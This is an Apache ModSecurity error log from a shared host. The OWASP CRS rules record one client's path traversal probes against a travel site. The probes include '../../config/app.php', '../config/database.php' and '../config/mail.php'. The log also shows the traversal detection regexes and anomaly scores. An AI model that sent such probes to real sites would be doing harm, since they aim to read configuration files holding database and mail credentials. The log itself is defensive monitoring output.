[Fri Jul 17 08:55:05.721013 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfgAAABk"]
[Fri Jul 17 08:55:05.721191 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.721526 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PfgAAABk"]
[Fri Jul 17 08:55:05.757214 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2Fconfig%2Fapp.php&ref=1AAxZpYY4MD3Jyp29ZdgbrP9vqJs5oxV_9N7hfUaV_bU5Jr6Jz9uTdH8DRk6R3yJB-u6osRwCiexo1fjJBdCe8pN3E7F_kPaw8cuMslcCTrgkRqB86sarie0ssmGfcgyg_GDmdvpQhaxKs7mahErqogPTUf3vzCu5tPdrebmg90cQvJOCpmqAGOepUi2RSrbf0wRyiTCvxLxG62CSx4ceEOv6hABY_olSifJazKIM9B1RW4b4ijluZYGUwyTrwmwcRalWyR9U95JYeGJ90blIAIf&debug=UXCQP33D7XBJH3RMBOWVQUEDGMOB7GGDLDEUSHFPLNGQ3KOPI5VYALRJ2EAZ33QNTICBDWFWKOXPFAFDV63MSQNEHOUQJOQKEHJMXCTUE6LPDGX2FIILEHSENPZYPZJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.757268 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.757325 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../config/app.php&ref=1AAxZpYY4MD3Jyp29ZdgbrP9vqJs5oxV_9N7hfUaV_bU5Jr6Jz9uTdH8DRk6R3yJB-u6osRwCiexo1fjJBdCe8pN3E7F_kPaw8cuMslcCTrgkRqB86sarie0ssmGfcgyg_GDmdvpQhaxKs7mahErqogPTUf3vzCu5tPdrebmg90cQvJOCpmqAGOepUi2RSrbf0wRyiTCvxLxG62CSx4ceEOv6hABY_olSifJazKIM9B1RW4b4ijluZYGUwyTrwmwcRalWyR9U95JYeGJ90blIAIf&debug=UXCQP33D7XBJH3RMBOWVQUEDGMOB7GGDLDEUSHFPLNGQ3KOPI5VYALRJ2EAZ33QNTICBDWFWKOXPFAFDV63MSQNEHOUQJOQKEHJMXCTUE6LPDGX2FIILEHSENPZYPZJH6RVH5OKSDWFDE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.757366 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../config/app.php&ref=1aaxzpyy4md3jyp29zdgbrp9vqjs5oxv_9n7hfuav_bu5jr6jz9utdh8drk6r3yjb-u6osrwciexo1fjjbdce8pn3e7f_kpaw8cumslcctrgkrqb86sarie0ssmgfcgyg_gdmdvpqhaxks7maherqogptuf3vzcu5tpdrebmg90cqvjocpmqagoepui2rsrbf0wryitcvxlxg62csx4ceeov6haby_olsifjazkim9b1rw4b4ijluzyguwytrwmwcralwyr9u95jyegj90bliaif&debug=uxcqp33d7xbjh3rmbowvquedgmob7ggdldeushfplngq3kopi5vyalrj2eaz33qnticbdwfwkoxpfafdv63msqnehouqjoqkehjmxctue6lpdgx2fiilehsenpzypzjh6rvh5oksdwfde..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.757390 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.757415 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.757490 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:document: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.758623 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.758766 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.759326 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBOAAAABs"]
[Fri Jul 17 08:55:05.894166 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2Fconfig%2Fdatabase.php&junk=nRgZAl-Ka33O9AWWoAkYqkLPxAuCFSLXOkNTFeb2CxeRrMpoHmHcgfS1w5l_U-a9q3_eMiWMJVB744QCxOUhQvoEpAZu-E3rCJFYTuUoWyyt40z9otx7BDd9w6qr7PnQPCFdNlwEefZglHS2p53AuidPTVLmBjkPORq_pLg7dqVBkiijuHWLRbGw1zjxEbodrQvtekAXydBvPQnh5nRszAJmaNFRslJqRaQ-NosgHHlAWe72DGbu9BP7KE90bihQvCc9Hl8QwuLMloxD88vZ_XqJ&token=MWR5K2XUXF5QKTVUIWNYWBPD6OKOLPPF6Z5VG25OYEIXSJOGJELJMC4NGBIRUBLAELUEMYGXVWUEK4YGM5T3SAWPP5CNV7QL6DAJO2ETJSHVHF4POC55GMD4Z..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.894220 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.894279 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../config/database.php&junk=nRgZAl-Ka33O9AWWoAkYqkLPxAuCFSLXOkNTFeb2CxeRrMpoHmHcgfS1w5l_U-a9q3_eMiWMJVB744QCxOUhQvoEpAZu-E3rCJFYTuUoWyyt40z9otx7BDd9w6qr7PnQPCFdNlwEefZglHS2p53AuidPTVLmBjkPORq_pLg7dqVBkiijuHWLRbGw1zjxEbodrQvtekAXydBvPQnh5nRszAJmaNFRslJqRaQ-NosgHHlAWe72DGbu9BP7KE90bihQvCc9Hl8QwuLMloxD88vZ_XqJ&token=MWR5K2XUXF5QKTVUIWNYWBPD6OKOLPPF6Z5VG25OYEIXSJOGJELJMC4NGBIRUBLAELUEMYGXVWUEK4YGM5T3SAWPP5CNV7QL6DAJO2ETJSHVHF4POC55GMD4ZQ5BWYM64U6IZ2A..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.894324 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../config/database.php&junk=nrgzal-ka33o9awwoakyqklpxaucfslxokntfeb2cxerrmpohmhcgfs1w5l_u-a9q3_emiwmjvb744qcxouhqvoepazu-e3rcjfytuuowyyt40z9otx7bdd9w6qr7pnqpcfdnlweefzglhs2p53auidptvlmbjkporq_plg7dqvbkiijuhwlrbgw1zjxebodrqvtekaxydbvpqnh5nrszajmanfrsljqraq-nosghhlawe72dgbu9bp7ke90bihqvcc9hl8qwulmloxd88vz_xqj&token=mwr5k2xuxf5qktvuiwnywbpd6okolppf6z5vg25oyeixsjogjeljmc4ngbirublaeluemygxvwuek4ygm5t3sawpp5cnv7ql6dajo2etjshvhf4poc55gmd4zq5bwym64u6iz2a..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.894348 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.894378 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.894451 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:document: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.894503 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kAAAAAw"]
[Fri Jul 17 08:55:05.894536 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kAAAAAw"]
[Fri Jul 17 08:55:05.894597 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:document: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kAAAAAw"]
[Fri Jul 17 08:55:05.895641 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.895707 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95kAAAAAw"]
[Fri Jul 17 08:55:05.895759 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.895820 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.896057 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkboj0IkvhSCYadmBkAAAAAQ"]
[Fri Jul 17 08:55:05.896065 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkYl9vhFBGA6D8l95kAAAAAw"]
[Fri Jul 17 08:55:05.896132 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfwAAABk"]
[Fri Jul 17 08:55:05.896161 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfwAAABk"]
[Fri Jul 17 08:55:05.897304 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PfwAAABk"]
